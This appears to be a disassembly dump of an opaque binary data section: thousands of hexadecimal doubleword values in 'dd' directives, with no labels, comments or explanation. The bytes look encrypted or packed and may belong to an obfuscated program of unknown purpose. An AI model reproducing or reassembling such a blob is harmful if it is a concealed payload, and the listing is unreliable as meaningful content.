0B899F2B6h, 8F85572Fh, 5846015Ch, 0F835AB11h dd 8BA9B041h, 54F600EEh, 206A2F3Fh, 0E9A922FFh, 2F5DD4CCh dd 0BC1C1EFDh, 0C168C141h, 1E516321h, 7AB85650h, 0D7E03EFDh dd 30C9D8CCh, 0EF5C875Fh, 3D2D1659h, 0BAE47CECh, 5A36CD80h dd 0E9161A14h, 0E400B93Bh, 0F4017483h, 7ED08925h, 481C027Ch dd 68411F59h, 7077E4B7h, 0A045E925h, 612EC5F1h, 0F7361290h dd 0EBBA04DDh, 3BDBB8Ah, 0BD055493h, 0D74068C4h, 2F9CA2A6h dd 68A71C7Eh, 974401F9h, 0E986ABD3h, 4A777771h, 60B4A5C6h dd 11183216h, 8318758Eh, 3E582E2Bh, 0F6D415BFh, 7E266510h dd 0A2BDC050h, 48D63F17h, 7774B909h, 2E0B5710h, 5F7D38E0h dd 0C7D8982Ch, 3DE5D52h, 9E553B46h, 2FD27B7h, 0FA6C7362h dd 0B6F14CFAh, 927411Fh, 0A5106AB6h, 790B361Ch, 80D2F706h dd 740EAECCh, 0A00BD3Bh, 1D7F258Ah, 0C2EDE927h, 8F94F733h dd 706342BDh, 30B23BE4h, 0C98905ADh, 98C94375h, 48652A25h dd 0CE188D75h, 68E9122Fh, 0EFF2604Eh, 0B481944Fh, 0E4B2972Dh dd 70D0B625h, 0C5564A40h, 0ABA2FBB7h, 0E010F83Eh, 0C8D75F97h dd 0F9C52567h, 0D71D9282h, 0E49CF691h, 0F5A85DB4h, 4E9725A1h dd 0F8534F94h, 31694E98h dd 2A21803Ah, 414B8268h, 9A76278Ch, 0D5F60112h, 0CD80C5FEh dd 3AF5CC90h, 0A0B4501Eh, 9FD9C44Fh, 0E502BC9Ch, 0FD2760E9h dd 0F61732D9h, 7CCB1204h, 25C5510Eh, 54A890CDh, 2940EC01h dd 13FE02B0h, 0ABBCE9D6h, 6EEA624Bh, 54F0B522h, 56FC51DAh dd 28416086h, 0AE97507Dh, 25149391h, 94DCD379h, 179DA211h dd 9682AD25h, 2C8E6E4Ah, 0C797F81Ch, 0A0EE1609h, 0FA23DF30h dd 513F9809h, 840072Dh, 27D97EE7h, 0A358D160h, 136BC026h dd 1210E381h, 3B6015F1h, 5E43659Dh, 0AC43C1FEh, 0FFB36E1Dh dd 72F2EFD2h, 0A8B0E9C4h, 65B11D17h, 271B90C8h, 0D102225Eh dd 61612447h, 0DA5D595h, 5A203CF0h, 86AD62C2h, 0B8A29565h dd 875934DEh, 2585388h, 972AB7BEh, 8B09E055h, 3A07300Dh dd 0AD28C558h, 0C9204B98h, 5D0995DBh, 43EFA0D5h, 0A2925886h dd 3EA70592h, 0A74D3A8Bh, 2714F711h, 0F0F55EDh, 0EA4A0F65h dd 0E87FC7E5h, 8B2F256Eh, 62CFD7B0h, 0E9D268AFh, 0DE9AB5D5h dd 4802898Bh, 0B600E448h, 0B0F088CBh, 9E282AFDh, 152A2588h dd 0DE2DB066h, 54AC5C9Ch, 632D76B7h, 0DBE76859h, 7810311Bh dd 21142D3Ah, 874BFDCAh, 437DA9CCh, 1342196h, 40BABF96h dd 1BDB2DC5h, 5007DA8h, 221762AAh, 0BDEA8DE9h, 0EF67ECF4h dd 0CAD2FA57h, 0B71477ECh, 0B5515305h, 0BDC5E9A3h, 0A93C66BDh dd 0F1849F74h, 0C7D68157h, 52C93E75h, 56EE4DFDh, 9A4A060h dd 0E33055B4h, 2052A80Dh, 0C50EED09h, 0C7E8B652h, 0EE935CCEh dd 4FF8D20h, 0FE299559h, 0EB3A0D9Dh, 25E96738h, 3E1057A3h dd 2814ECBFh, 10A23E60h, 5F25A872h, 780C1002h, 0B7F10ECBh dd 0AAFDFBCAh, 2DBFD265h, 8A0970E9h, 0EC52CB40h, 9175D3E8h dd 6D7105FEh, 84407EEh, 0BBBF61F8h, 7862D163h, 0C7203DD5h dd 0F4A6A831h, 98CCE684h, 8DE02F2Eh, 0C2B09A14h, 46C6EB27h dd 22C12409h, 0E4D79277h, 212D5C92h, 83E719F9h, 0D8950706h dd 5EC595ADh, 74686D8Bh, 0A3FC69C6h, 56456ADh, 0BC42E958h dd 0FDBB0004h, 214C4107h, 5B6BCBDAh, 12DEC104h, 0FD1D01EAh dd 0F383727Bh, 4C81D849h, 2DA00760h, 73AC829h, 9B885A3Ch dd 0D3DD6BB3h, 29BC0275h, 78295F6Dh, 5DF49500h, 520E0E02h dd 47A36855h, 83AB6B25h, 59E74B1h, 140E8369h, 1484AF4Fh dd 9550710h, 22FE6853h, 0DD12E95Bh, 3502BFC4h, 0F73E9924h dd 0C35260D6h, 0B78AAC20h, 2F896456h, 501A55ADh, 3DF50752h dd 40DD80A1h, 20547D9h, 0EAAE2CEEh, 0E0F7C121h, 2E6D9229h dd 20F31E3h, 3F7B5C12h, 21B2B055h, 0CFD804A0h, 0EE446BE9h dd 55601B28h, 0C04143D3h, 3325E72Ah, 6F11F9FBh, 0A45AC73Fh dd 8F12166Ch, 0C4AE4516h, 0B59F8419h, 8BB972E4h, 2250E051h dd 2D0100DCh, 7E8C3F93h, 81CE8C1h, 8B715E68h, 0BE045B35h dd 3FF04504h, 76A02985h, 94504804h, 13CECB10h, 0CBAA595Fh dd 0AF680C68h, 97055341h, 0EF5C3D84h, 68E2F6BCh, 0C4E89D70h dd 857E774Dh, 0F4E059DAh, 41354E10h, 0C449A251h, 8BF4813Ah dd 31E9DF92h, 2F6A5DC9h, 9086955h, 0BD6A20F8h, 2371EE0h dd 2926B861h, 70F7DFA3h, 31E12705h, 956FDCDBh, 20744C68h dd 2E6806B0h, 9648DB06h, 341BF4Bh, 25566D74h, 0B951A440h dd 0DC3D18ABh, 535CB215h, 5577720h, 63A65F6Dh, 9AC6BF41h dd 13607C20h, 0B489B22Eh, 59DFAA92h, 0CF449B03h, 0E280001h dd 0B87D5F29h, 9A247EAFh, 7827D34Fh, 235E3C7Fh, 8501799Dh dd 944BE953h, 0D7ADFAFCh, 0BC5FAA16h, 35E9BCF9h, 0BF410EEEh dd 226FAC80h, 0DC1D6C3Fh, 4318C11Ch, 0E904D9F7h, 0B2476ABDh dd 5E8F01F9h, 205D63D0h, 60B7CE3h, 7C5B6221h, 0BD550004h dd 18D260A8h, 0E73E912h, 85870DFDh, 5177092Ch, 201AC237h dd 25EA79F7h, 90F8F77h, 1F445F44h, 2A37E912h, 5EEF58A4h dd 9301BF04h, 3C62140Ah, 6343D8DBh, 0F87B5E8Ch, 46C6802Ch dd 0A29ABCAh, 1EAE9FBh, 4AC78190h, 0E5408E99h, 164F62F9h dd 3121A8A9h, 296241DDh, 0D734591Dh, 7A02AB02h, 0D814F4F3h dd 64029733h, 0C67D1012h, 0BE8E1CFFh, 0C0E06FEEh, 225FEB61h dd 0B14E1CADh, 0AD0B04AAh, 0F62D84B3h, 20BD8DEAh, 28406F2Fh dd 6BEB557h, 8016519Ah, 1D126DEBh, 0C0B4FD80h, 0F51B751h dd 0DCE7DD6Bh, 0E2C5FE0Fh, 0F433E9ECh, 0D2F70360h, 0A410E2C1h dd 6809D87Bh, 327F6FAEh, 657B7427h, 0F6DBC55h, 4E401859h dd 0B8E9A2CDh, 0FE36C9D9h, 3C7E96Eh, 0D1F6CB86h, 0D926A730h dd 0B4500008h, 1F6866DEh, 8B37E932h, 9B93B4Bh, 2F417560h dd 9B466E5Bh, 1224C9Dh, 812FC3B9h, 2DCD2178h, 109F12ECh dd 0A2E667EAh, 3F48215Ah, 171239CDh, 0A412418Eh, 0EFCC8401h dd 2041EA31h, 0A53577FDh, 7F38A30h, 0D14CCE2Fh, 37B1E2E3h dd 9FC7F9DFh, 0AD592668h, 0C701ECB8h, 0A60BACB2h, 0F17A4C05h dd 7173030Ch, 0E3B13590h, 5A85D00Dh, 96B47EB7h, 48D01431h dd 0A3659D07h, 1F89E22Ch, 2C4D4757h, 32D04258h, 25FBB800h dd 0EB274A17h, 0F705E7D2h, 685EFC20h, 2D9C59B1h, 3F6F162h dd 0BA94C888h, 6BD360F4h, 0EA7418C4h, 27417EA7h, 0E53A89D7h dd 0D990A7ADh, 66BF86F6h, 71A22086h, 7E895F25h, 4ADA6082h dd 99B47DC4h, 16B70720h, 87CD2AD4h, 0BA3388CCh, 0C08182A9h dd 0F2E559F4h, 450AE854h, 0F581F992h, 653F1A83h, 9F69B9ECh dd 564CE1E6h, 47CF31B9h, 568AD430h, 81B62B90h, 803109F3h dd 69FA8012h, 2959281Ch, 0BA5203DFh, 70F83345h, 0A160E2F2h dd 0B981CB5h, 3B3D0E1Ch, 8F1AE6A6h, 0A716F6A1h, 4E270ED8h dd 0EB47D695h, 5B0043D6h, 0BA16545Fh, 0ABA016A4h, 1FA0A9E9h dd 0FD0F0DC5h, 39E8463Ah, 0BCBA4BA2h, 68640CAEh, 6580BE1h dd 0DBE9D031h, 3BF16463h, 0D9B92C65h, 6706524Ch, 0C40C039h dd 9E7ED804h, 68A8092Eh, 9E40192Dh, 640178B9h, 0FDBD0D04h dd 31C4D744h, 0D5E92ECDh, 5B668091h, 0C8FED8F6h, 88C13416h dd 80B02CB8h, 0E7E69AEFh, 0B5519E00h, 0C0DDF619h, 0FE0213EDh dd 0E56CC8CDh, 41E92A16h, 755B5FC2h, 286226D4h, 9EE77B2h dd 920B1FB1h, 7CCEDF7Bh, 0D48B1ABDh, 8B471D28h, 4EC061AAh dd 0D7516012h, 407546ACh, 0B6525902h, 0E0CE805Eh, 0B54A26F1h dd 319002D1h, 0BA1CAE85h, 0A3B60577h, 4609717h, 45711917h dd 0D84ACEB0h, 4BDE3CE8h, 1155B863h, 0FC3FC16Ah, 0FD5E2F3Bh dd 0A9D78612h, 0ED237768h, 0EA856B91h, 6450DCB3h, 0F48880A8h dd 48675A49h, 0C5257DFFh, 247DF30Ch, 6A36024Ch, 0DF7494h dd 0D756AD94h, 98FF827Bh, 0B0D331DCh, 858D8A93h, 13FE2390h dd 0CEB7AF5Fh, 6A7908DBh, 66E92E1Eh, 0DF087F64h, 0E380008Ah dd 11B252AFh, 4939CAECh, 0DAF680FEh, 0E99FB151h, 0B4F74B36h dd 1C624F5Ah, 0EBF58BFCh, 63FCB1FFh, 0DD687885h, 0AF31EF75h dd 0E9017E9Fh, 0BAE72582h, 420DEB30h, 1942DF1Dh, 6003E8C9h dd 598074A5h, 4AA7EE55h, 20BC8960h, 367FCC7h, 0AA7A563Eh dd 5C5AC22Ah, 0BAA4CDE9h, 0FA1ACECh, 0A04270AFh, 594FA1BAh dd 57613DBFh, 5613D557h, 775A0E2Eh, 0C702F978h, 9098B071h dd 0CF5889B7h, 0F5290488h, 5EA8EA5Eh, 0C33B0192h, 3F04CB20h dd 3A842D84h, 0BAB413BAh, 80EDF373h, 9D028010h, 0E9055279h dd 40BBA5FEh, 0D57BAC40h, 5C90581Eh, 24D0F0Ah, 839DB56Ah dd 3367D22Dh, 70AD9F7h, 7085A1BAh, 9C93EACAh, 5955303Eh dd 0B1F1812Ah, 468D7A1Fh dd 0CD8E648Ah, 3D2CD598h, 5265B4AEh, 0D1D2B58h, 58B07071h dd 9D612CE9h, 40BF6E6h, 2A1DEE17h, 110F173Fh, 0A4F5EEE2h dd 44ABEBC7h, 0EE4B909Fh, 5EDB664h, 410F1C93h, 1143B48h dd 41EFE1CFh, 3F94E908h, 95EE509h, 0ECE25DB4h, 10433D40h dd 2973D80Ah, 1A1CC4EBh, 75241F49h, 0F8239E0h, 0E975030Bh dd 9833A935h, 0C0772E7Eh, 3754EFF7h, 0E0A208BDh, 84006BF6h dd 56B5EB1Fh, 2EE12CE9h, 25689CBEh, 4264FC51h, 2EBA03B1h dd 54A0FA0h, 89E31EEFh, 762550D2h, 0B08AAA59h, 9DED9140h dd 36DCEEC2h, 0D11C09CBh, 0CD74BDAh, 0BFBF2E3Fh, 292E7F5Ah dd 8910D4F8h, 0AD3CC05Ah, 0E34B6A1Ch, 22A80FAEh, 96CCFA57h dd 57CF4060h, 0BA685502h, 423C7215h, 13F2D61Fh, 987F658h dd 3075A768h, 24030110h, 2D5715FEh, 0E9F787F7h, 8DEE5984h dd 0E4AC3B8Dh, 0E94B01C1h, 3825C96Dh, 0F63E6081h, 7E639526h dd 0C95B9EC1h, 9C0EDADDh, 8C8925F8h, 68BE4540h, 0C2835681h dd 4E83428Dh, 57C3FBFDh, 4A9D8876h, 0F25AE9h, 3248BD8Ah dd 0BC905E11h, 0FCEB8995h, 0BC61F241h, 18D142ADh, 330B2152h dd 232857Dh, 90C86B41h, 0B279B6FEh, 88EA9747h, 6286F37Dh dd 0E45F7DE9h, 23730B52h, 0E874142Ch, 0F6C62E04h, 0EAF0C5AFh dd 0B8D615E6h, 3613ED7h, 62E93EFFh, 0C1540C1Bh, 0D41C03E2h dd 0E0237817h, 9B4053BCh, 0AC3AE15Bh, 77C2B2DFh, 0F52AD8C4h dd 0CDDE140Bh, 1265EADCh, 0B57644Eh, 26606866h, 29EE07D2h dd 0C49B1E58h, 0B9EACBB5h, 5F05922Eh, 48FEB1A3h, 5692C18h dd 5F942926h, 666F72C0h, 34B70F53h, 0F7EFFA28h, 2FD04D79h dd 0BC7BB204h, 0AB9219A8h, 0C680FDD0h, 0E506C3F0h, 2C27F788h dd 55B03BFh, 4E84B0CEh, 0FAEB4E81h, 0C3297806h, 5F564F50h dd 5893B994h, 64DA235Bh, 0F3B56D50h, 897AAE0Eh, 8D94802h dd 10EB932h, 0C1BCEBDAh, 0B55C5889h, 378709EBh, 0E9D842EDh dd 0BD133D20h, 634AC876h, 0B44BAE02h, 0C0D7700Ah, 99CF8107h dd 7313FB68h, 85286E9h, 0F61778EEh, 0C0F74B5Ah, 0B9C5F24h dd 0FF300250h, 0D076643Ah, 38355800h, 503C6203h, 504B945Dh dd 68175756h, 30E325B9h, 813C2A00h, 0A32DBF1Ah, 89533325h dd 99F59682h, 3E909A6h, 52555B26h, 28381706h, 13F15F31h dd 0F6108DE9h, 0B2B1F94h, 303175E7h, 2FC68B3h, 875D13B9h dd 80F77E6Bh, 393F2144h, 224DF0E9h, 5D80028h, 6BDE5BBBh dd 35FF0E2Dh, 0BAB22091h, 68794B22h, 0EA06BB86h, 0FA6B5444h dd 266314F8h, 0F909E435h, 2A8E6266h, 0F4A3788Bh, 0A6DE082Ch dd 4B2F797Ch, 0D9E7BB01h, 883B5496h, 42B7738Eh, 285957BFh dd 5D71CA52h, 5B0C29E4h, 0C70216Ah, 54E1689h, 0C7A54A77h dd 5F0C3408h, 7B9A1D14h, 68FD7E02h, 7BFE43DDh, 0FBE957C0h dd 14579762h, 8202BCEFh, 54614FEBh, 68F3C1C0h, 0E6046725h dd 3DF818BEh, 0A9EE7AE0h, 5B20DC48h, 7FEB7AD2h, 0A252B7Ah dd 7979C88Ah, 278C2676h, 810245Fh, 4016D770h, 136449A0h dd 4311816h, 13D67FFh, 0C208A134h, 4130C830h, 0B15ACFBAh dd 9C7E880h, 294D13C1h, 87210CAh, 0D6895601h, 2B2D38E9h dd 5C051DCEh, 0D335868h, 0F00A3E7Eh, 7B092C77h, 8453F10Ch dd 31065DE4h, 669D9CC1h, 0B44DB952h, 0EC5F840Dh, 39EF4B67h dd 2EF2C7Dh, 1F7F0D86h, 0FBCC4B01h, 23891209h, 53DFA49Bh dd 72DCBB07h, 93D23DA1h, 97507230h, 0B584C829h, 71A7AABCh dd 49E26227h, 50B3A57Dh, 51E95C20h, 621BA0ACh, 3CD22537h dd 0D126B7D6h, 19948A39h, 0C31CE736h, 174B5345h, 500135B8h dd 6661DB68h, 0C7512014h, 6B270C74h, 26C25D1Ch, 50E1080Fh dd 835C7FE9h, 3F89F36Bh, 6831D276h, 0C01657A7h, 1B7C68B0h dd 72C652DBh, 2C0F7AEEh, 12D0F289h, 82E7BFFAh, 2FE96940h dd 3FE81CDCh, 0DB9FE0B2h, 58500846h, 956E77A5h, 3F4AA8FEh dd 0C0E43EB8h, 0AC71B7AFh, 4805097h, 4951E581h, 0C57B8072h dd 92244F31h, 3E045ED9h, 40C1D30Ah, 0FA045616h, 2B19AEE8h dd 805E9015h, 3DC68173h, 0B5B1DCBh, 207A9A2Dh, 0F028AC82h dd 5D098B08h, 0E957CBBEh, 9E661889h, 401AF113h, 3DBE56F0h dd 5924BB35h, 530DBE31h, 4989C883h, 3ED462A6h, 976D7AC9h dd 848303FDh, 0BE234AEEh, 84A58CCDh, 2085CE5Dh, 0BBA068C5h dd 513BB3E6h, 0F5ED2D80h, 0E3E92182h, 205674C9h, 22092B5Dh dd 40892010h, 954E2953h, 0EDE39468h, 7B020C99h, 50EDC07h dd 3C98C006h, 3A40D603h, 4D9F90F0h, 0FB58C740h, 0DC7A252Fh dd 2E5A0881h, 0DF3090E6h, 3C7DBBFBh, 0F70EA309h, 36F07D3h dd 3892AFF5h, 0CA7855BDh, 0B092F795h, 25CBE3A8h, 55173071h dd 2B538E09h, 8053010Dh, 0B82FDBC2h, 0E96BA0DAh, 58E1A8F2h dd 6FDC629h, 8A5A12C7h, 698860F0h, 78580854h, 0DF6B27B9h dd 98A29A46h, 829993DDh, 0AFC0B14h, 174DF62h, 66027768h dd 538F07DAh, 8CD26B6Dh, 0E90DA13Eh, 349346C7h, 0A95EFE05h dd 723DD08Bh, 57042F3Fh, 0B0B819D7h, 0DD76A1AFh, 0FCE133Ch dd 110249BDh, 4A1BB107h, 1521C975h, 20D813A5h, 6B49E92Dh dd 314B176h, 94E1F37Eh, 0DE6885F1h, 4B20B3EEh, 0BBCFC4EEh dd 0A1969EE2h, 6DAF3EA0h, 5C0D9294h, 7EE281E9h, 0BC5F58E9h dd 89E2A5FDh, 2D3F567h, 3786A310h, 72B73413h, 5DF9042Ch dd 0AAC1010Ah, 0BEE5A3E8h, 0AB4F78F7h, 532901CAh, 0DD20384Dh dd 0EAB1FD97h, 2AE8C1D2h, 494D53C8h, 0F83B5F97h, 2C75F596h dd 8240FE11h, 48FDECACh, 0D9813A03h, 61121F67h, 133D003h dd 0B503265Ah, 0E6379236h, 0A07E3030h, 6FB5C124h, 9F4FA0Fh dd 0A998A5CBh, 23FB7B9h, 507E080h, 17496A1Fh, 74C32927h dd 0C5EBC0DDh, 487EFA09h, 0D65340DFh, 61A19797h, 3AECDB79h dd 0EEC3C1C1h, 0F0A516DCh, 0A798D601h, 68550880h, 195E6127h dd 8A85962h, 30D54A0Dh, 0BBC6826h, 0BF1C8593h, 85ED6372h dd 5482AF93h, 84215720h, 97190668h, 0FF09B708h, 53285754h dd 0CCF069C6h, 381E7EFDh, 4BBA0C74h, 6EDC2862h, 0E90EEF98h dd 82D4978Eh, 90F272AFh, 49C6401Dh, 0A543B4A0h, 137AE53Eh dd 0E5CA230Eh, 0D982AF4Eh, 75786A2Fh, 0E9D88CD4h, 2733BA90h dd 0F8990C68h, 0EBA1FBBEh, 11E3F470h, 0B3021F9Bh, 40D4FA7Eh dd 0D067C5DAh, 11209868h, 5E5C113h, 1F03AA08h, 7C048959h dd 0C2D955h, 0B94BF681h, 4BB0D076h, 69B23A4Fh, 24406882h dd 182849ACh, 92114D9Dh, 1D118599h, 4218CBB2h, 36B0C951h dd 82509168h, 0DC74E3C2h, 6DEBC784h, 0F760D887h, 613D3020h dd 707D1801h, 0D28EFA06h, 0F9CF9AA2h, 60090841h, 12C6EF9h dd 820FDFDh, 0EE0B5F7Dh, 0FD5DACE9h, 0EA5F911Ah, 885ADF0Ch dd 46800C4Eh, 2D77B4B9h, 7CDE6E3Eh, 74F40894h, 3C1A3012h dd 9A0415FCh, 0AE68C4F1h, 0D9894404h, 5A5BD782h, 2ECE0721h dd 7E5A149Dh, 7ACFFFF2h, 4D685C05h, 54AB324Ch, 95F966Ah dd 5A6F57D2h, 1D16EC0Dh, 2E6FB530h, 28E373A6h, 198F25BDh dd 0D898B4D8h, 684A3A0Fh, 2C13B767h, 0E9CB78FAh, 43A1554Eh dd 12D7DA7Bh, 0F9BDD168h, 0A30031Ah, 88F85BDFh, 672CD10Ch dd 2B0F72Fh, 489748F7h, 2732F6BDh, 0B3F05E9Bh, 4615DA25h dd 0D6F32DF2h, 0B062E8DEh, 7F487844h, 5E932683h, 26FEA893h dd 60BB200Ch, 2E5C08Eh, 2250E918h, 985AD18Bh, 584F73A3h dd 97F3501h, 5F4B2711h dd 8A0D5D4h, 8B473B5h, 35005684h, 0C1B464C8h, 800BB031h dd 0E57EE1B0h, 0B6D70920h, 39BE4274h, 15D64C75h, 9708D368h dd 35D1E90Eh, 8AE6FB12h, 96BB327Ch, 0EC604B36h, 0EF4B4073h dd 1746EF8h, 874FE243h, 0B0D7F7F9h, 3828B208h, 0C4E6033h dd 79F5C68h, 36BF30C3h, 0F1600258h, 52397418h, 7AB47057h dd 0B24405F3h, 0C1DD8923h, 7E661C82h, 99681B3h, 75E02EB0h dd 0EB0F8058h, 66F328E0h, 4F224F3Ch, 4054F964h, 184110C4h dd 0ED79E113h, 27E9CEEEh, 0B58C665Ah, 0F727F297h, 0A5F61B91h dd 0B516F7B2h, 0DBAA5B4Bh, 0D3E716B5h, 0B54135A2h, 24F60960h dd 20FF4142h, 0B736C002h, 0E99D190Eh, 0A03CA52Dh, 0A04AC09Ch dd 70BD0123h, 31394546h, 46677BCDh, 0AE160BD4h, 95AAD1C5h dd 4CE81F0h, 0D6F239A1h, 2284D41Ch, 16EF5326h, 4C9479Bh dd 0D6B2E075h, 4A5EB450h, 924830F8h, 45921E6Bh, 0A35FFE63h dd 0B38A74FBh, 0E7B90331h, 1F231358h, 82A71DE0h, 26E968DCh dd 54690A5Eh, 52FEA7DAh, 3031D827h, 0F2B9E116h, 0B4836CFh dd 8DE05FACh, 0E4BC09CCh, 70D7314Eh, 522B0123h, 0A2E95ED8h dd 0C2398786h, 0A0248F07h, 9888E0C4h, 29589501h, 0F02CCB4h dd 0D53F0684h, 0BD9ED318h, 3FBEE7BDh, 0F32AB016h, 0C00690A5h dd 7406A6F5h, 2BE2A045h, 22660E3Fh, 5DD649E9h, 27C08B51h dd 8AA985Dh, 0B29F2FF6h, 3830C84h, 184C8D68h, 5F51327Dh dd 1618B5C5h, 0C26A3BA9h, 18F8060Dh, 0FDDA01E9h, 5354C50Eh dd 0DCAF1EAFh, 0A4854781h, 0E409134Eh, 25AB56B8h, 8368C5F5h dd 3F037DBDh, 13B9CFF0h, 3DBCEE5Ah, 1228172Ch, 0B86A409h dd 0F856DC40h, 162EFE9Fh, 1465E66h, 3F4863D7h, 4F127ED7h dd 0B2A2FAh, 6D60032Dh, 9C97E93Dh, 0FAF9926Eh, 48D5A32Ch dd 56A261B5h, 0F717295Ch, 0C0BD2709h, 246D68B8h, 97C377Ch dd 0BD104AF9h, 0DDF24E05h, 0C6B2C895h, 0A7682651h, 6397BE8Dh dd 275BFD37h, 7CCAF8EAh, 0B5BC2F5Dh, 4118E9E6h, 654C1435h dd 5FA4A461h, 76D6CA8Ah, 15EEE4Ch, 1205E31Bh, 0B6A3E7Ch dd 0B9455C54h, 9C9B08h, 0CE6A21BAh, 77F6422Dh, 80204961h dd 91620BC3h, 82274F7Ch, 0E8775A01h, 0B51C6D05h, 0E37F2CCAh dd 7ED9D258h, 9C510E81h, 8A0CEAE5h, 6C5F7BB7h, 0CE556E09h dd 422B25F3h, 975DC6D5h, 9C680880h, 3D4A9B01h, 0FE810AC7h dd 163AC264h, 0EB12135Bh, 0DA0D3A53h, 0D604A9F4h, 4C3A6BEh dd 0C082B151h, 5E0651C6h, 8718C202h, 3F175609h, 0A0DE8325h dd 0B7656850h, 0BC8BF1h, 3A530D1Ch, 0CF4706E9h, 0DC64581Ah dd 199AF343h, 5F5CA617h, 2513463Dh, 0C6CEB83Bh, 7102BEFh dd 68364C05h, 63DF575Ah, 7CFA7F44h, 594E2BF0h, 6C683302h dd 821F711Ah, 2FB215ACh, 3EC930E1h, 4EAD356h, 16E1BF18h dd 1120862Dh, 0D2171488h, 9235E611h, 1266AEA7h, 8B575F0Ch dd 34852681h, 9EA06813h, 65BA5C44h, 0E5F815DEh, 0AA03FF5Bh dd 978D69C3h, 5532A3D2h, 84AD754Fh, 0A1A0EDDEh, 0FC20E347h dd 3B8F002h, 199CF648h, 4B2CFFE9h, 16279A5Ch, 985F9564h dd 0C5B6F660h, 0C003E395h, 0D52C4813h, 29BA25h, 7728C227h dd 0E98D15D2h, 0EC4EBC8Eh, 0C74F10CFh, 2064BE25h, 0A435530h dd 1EB65266h, 0D7F1883Bh, 0BE0952A6h, 0C10E159Bh, 0D05A0AE9h dd 5A277BF9h, 2A9E2585h, 14EA6C5Fh, 9D1187E9h, 93A4B5A7h dd 1BB1AD8Ah, 882750D4h, 56BD592Ah, 0B1D585Bh, 5F5B2AC9h dd 4BEC9B8Fh, 0F40AE55Dh, 9F3DD009h, 0E072BD02h, 28DEC07Dh dd 0ED72822h, 7C89B5F7h, 4758A1DCh, 2CB83C9h, 40A8E6BEh dd 5C9D59CEh, 0E7D5CB96h, 0B8C625B3h, 0F89D909Ah, 0CDC95E46h dd 5AFA4141h, 0B2A88253h, 6008972Ah, 2C793A81h, 3D14899h dd 1D806ED6h, 0DFB6C7E0h, 7C8860E9h, 2D82EB59h, 45360FD9h dd 83B40FC2h, 0F70CB546h, 11255C40h, 33405877h, 0FB4AD7F7h dd 3E4620C9h, 3105CFBDh, 0FE414C59h, 0D9BF9013h, 0C727604Ch dd 6BC66D13h, 0E9E4D1EFh, 899D65E5h, 5C4F42DEh, 28D862ECh dd 980B9657h, 5D630CDAh, 8B0C70FDh, 18305B0Fh, 8E92401h dd 19BBB3E0h, 70C71EA6h, 0B9D489D8h, 90D946ABh, 7B6027E1h dd 45CFCBDEh, 69F962E4h, 8E5C007h, 15893FD0h, 0AD3ED7F8h dd 4EA55D68h, 0BB0AE38Ah, 27906C4Ch, 4345397Eh, 0F8A86FC5h dd 0D54CA24Eh, 0F0599ED3h, 522EEB24h, 6C9BA087h, 0D83000F9h dd 0E886F2FEh, 0FB9F4B2Ch, 4EB14831h, 9807BA3Eh, 0F2332AE2h dd 9D21B7C2h, 413F61E9h, 55CFF621h, 0DA70A877h, 5B4AD620h dd 0A12D1431h, 0B205414Fh, 61D60FD9h, 9FF82E33h, 2CFCA061h dd 488070E4h, 0B07E6B41h, 0D19D21CAh, 6AB0E22Ah, 30FA05E9h dd 3509F636h, 0F75F45E5h, 0D569C253h, 7EE99A51h, 4D8353C9h dd 0DFBD6402h, 0FD3D1B3Bh, 536BE883h, 47F5FD02h, 5E194285h dd 0C8890679h, 57B07759h, 0CB535067h, 8DEB06BFh, 9B7F0951h dd 3404B0BBh, 6817A05Fh, 4E6EAA38h, 5E639BEh, 84B3BB94h dd 0DDFDE9C2h, 4F0B44D2h, 80171210h, 0FE44E8F7h, 4B209751h dd 0C41BE2E7h, 204F2E30h, 0C57C135Dh, 0FB540EB0h, 406F7944h dd 0FF5A10D2h, 0D649B751h, 1FEFAF2h, 56008969h, 0E07C2FB4h dd 51A273E5h, 1BBB0478h, 0D15D431Dh, 0E0503E44h, 0F33E8922h dd 233585Eh, 3A8D2555h, 2D467021h, 435C450Dh, 0F2D96252h dd 20060B4Bh, 0A8850C39h, 0EFCEF4B3h, 89A0CDBAh, 62E73158h dd 40FA3F0Dh, 0F5D94801h, 0B59352Dh, 91BC4945h, 0E9A0BB5Ch dd 1AB7C579h, 3389D77Dh, 0F702C271h, 0D77068F1h, 5152606Eh dd 36DD8527h, 5DCBA4A9h, 687003D0h, 7EB73370h, 7AE9C17Dh dd 0F5317B27h, 5A29E21Dh, 806853C2h, 7A23F477h, 5648BB96h dd 125400E2h, 0D5F76266h, 0BCE9394Dh, 939B5C5Ah, 1E2CAB0Bh dd 554029E9h, 53579EF6h, 3C1AE1BEh, 748CE11Ch, 6EC4796Ch dd 56F1413h, 591E6642h, 3E19D0BFh, 325F02F2h, 37FC6646h dd 2FCD5293h, 32E6BE93h, 0DFC75F25h, 580A53A2h, 62379D68h dd 321D863h, 295DBD12h, 75D22701h, 80013176h, 0CA3051F1h dd 902E02E9h, 0F461BD62h, 8697A37Bh, 988089B8h, 0BDAE7020h dd 6BBF3819h, 0BAF9F5E5h, 1220D935h, 5004B60Ch, 0B86220E9h dd 0E1D7C677h, 8A2F5C9Dh, 9252739h, 521676ADh, 1607A55h dd 7477DC2h, 52E04CE9h, 0CDF95F17h, 9490E958h, 32F24C9h dd 7B3A78E7h, 0B535C08Ch, 95089727h, 2FFCEEE9h, 7D2219D8h dd 639A2A06h, 328B816Fh, 0DBBD00D6h, 434AD416h, 0AE58F2B8h dd 2E4F9904h, 0CF2CFA37h, 78583A42h, 0E9C50982h, 2C481D11h dd 8D2C33D3h, 0A4163035h, 78E3F784h, 801FB102h, 0E08463C1h dd 0E1C2AABDh, 53136088h, 0BAA879B3h, 0F31E2502h, 0F288C47Fh dd 0A7FAB7D2h, 7D8EF205h, 51C229D8h, 70495D5Ah, 5FFC40Eh dd 1BACC1B5h, 0F8368C2Ah, 6DD8481Fh, 0F7A5455Fh, 0FF972594h dd 5E3AA90h, 0DDEB24D7h, 0F28764E5h, 4E871040h, 76C8FBEBh dd 86EA5A29h, 68551A2Bh, 4423350Ch, 0C123C3F0h, 62F03FBh dd 25D0F402h, 0C281215Fh, 0C07ABA4Ch, 0DCA0FD19h, 92E9E608h dd 0C2830972h, 186A4287h, 0A35FBF00h, 76310D24h, 93C7BDFAh dd 0D519E905h, 4FB8849h, 82B37555h, 372ED713h, 0EBD4854Bh dd 0F166A809h, 0BA68E2E3h, 0D9270F7Ah, 70E3DC36h, 555E5854h dd 0CE0E58F6h, 13561B57h, 3084BFDAh, 0E149ECEFh, 0F9805FE9h dd 48643305h, 0A35B6821h dd 0B902FCA3h, 18A6588Dh, 680510D6h, 105E15B5h, 0F7E90671h dd 0C1D512CBh, 8E02AEE2h, 